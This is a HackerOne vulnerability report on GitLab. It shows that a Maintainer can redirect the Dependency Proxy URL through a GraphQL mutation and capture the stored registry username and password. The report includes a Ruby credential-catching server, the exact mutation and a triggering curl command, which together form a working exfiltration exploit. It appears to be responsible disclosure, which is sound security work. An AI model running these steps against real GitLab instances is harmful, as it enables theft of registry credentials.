Maintainer can leak Dependency Proxy password by changing Dependency Proxy URL via POST /api/graphql `updateDependencyProxyPackagesSettings` operation
HackerOne report #2466205 by ac7n0w
on 2024-04-17, assigned to GitLab Team
:
Report | Attachments | How To Reproduce
Report
Summary
I've discovered a vulnerability similar to the one reported in GitLab issue #385118, which can lead to the leakage of authentication information for the Dependency Proxy. Although restrictions have been implemented to prevent the password field of the Dependency Proxy from being exposed, I found a method to circumvent this check. An attacker can modify the URL of the Dependency Proxy and then trigger a dependency_proxy
request to send the username and password to the attacker's server.
This vulnerability was verified on the v16.10.2-ee version. You must install version 16.10.2-ee (not the CE version) and have a license to enable Ultimate features. If you do not have a license, you can obtain one by following the instructions in the hackerone-triage-team-gitlab-licenses.
Steps to reproduce
- Install GitLab on the server
<host>
and create a project using the root accountroot/<repo_name>
. - Navigate to
root/<repo_name>
-> [Settings] -> [Packages and Registries], and locate the Dependency Proxy settings at the bottom of the page. - Enable [Enable Dependency Proxy] and fill in the URL, Username, and Password.
- Run the following Ruby script to start an HTTP server to receive the password:
require 'webrick'
require 'base64'
server = WEBrick::HTTPServer.new(:Port => 9000)
server.mount_proc '/' do |req, res|
if req.header.key?("authorization") && !req.header["authorization"].empty?
auth_header = req.header["authorization"].to_s
encoded_credentials = auth_header.sub('Basic ', '')
decoded_credentials = Base64.decode64(encoded_credentials)
puts "Username:Password: #{decoded_credentials}"
else
puts "Authorization header is empty or not present"
end
end
trap 'INT' do
server.shutdown
end
server.start
- As I do not have access to a cloud server, I set up this HTTP server locally. To allow GitLab to access this server, I have previously allowed 'Allow requests to the local network' in [Admin Area] -> [Settings] -> [Outbound requests].
- Create an attacker account
attacher
and invite it as aMaintainer
to become a member ofroot/<repo_name>
. - Set up a Burp proxy, log in as
attacher
, navigate to the Dependency Proxy settings page likeroot
, modify the URL to our pre-configured address (do not enter a password). Upon clicking save, an error is displayed on the page.
- Find this request in the Burp's HTTP History.
- Send this request to the [Repeater], remove the
mavenExternalRegistryPassword
field, and resend the request. It is found that the setting can be successful.
- Replace
<username>
,<personal access token>
,<host>
, and<project_id>
in the command below and execute it. You will find that the root user's password is printed out on the ruby server.
curl "https://<username>:<personal access token>@<host>/api/v4/projects/<project_id>/dependency_proxy/packages/maven/com/my_company/my_package/1.2.3/my_package-1.2.3.pom"
Impact
- Maintainers can leak Dependency Proxy authentication credentials that should not be accessible after configuration.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
From #458484 (comment 1978587424)
Here are the simplified reproduction steps as we don't need a proxy at all:
-
Setup the dependency proxy settings with any url + a username and password.
-
Using
/-/graphql-explorer
, execute:mutation { updateDependencyProxyPackagesSettings (input: { projectPath: "<project path>", mavenExternalRegistryUrl: "<new url>"}) { dependencyProxyPackagesSetting { mavenExternalRegistryUrl mavenExternalRegistryUsername } errors } }
-
<new url>
should be a backend that reads and dumps the basic auth configuration. -
access
api/v4/projects/<project_id>/dependency_proxy/packages/maven/foo/1/a
and watch the backend on<new url>
dumping the username and password of (1.).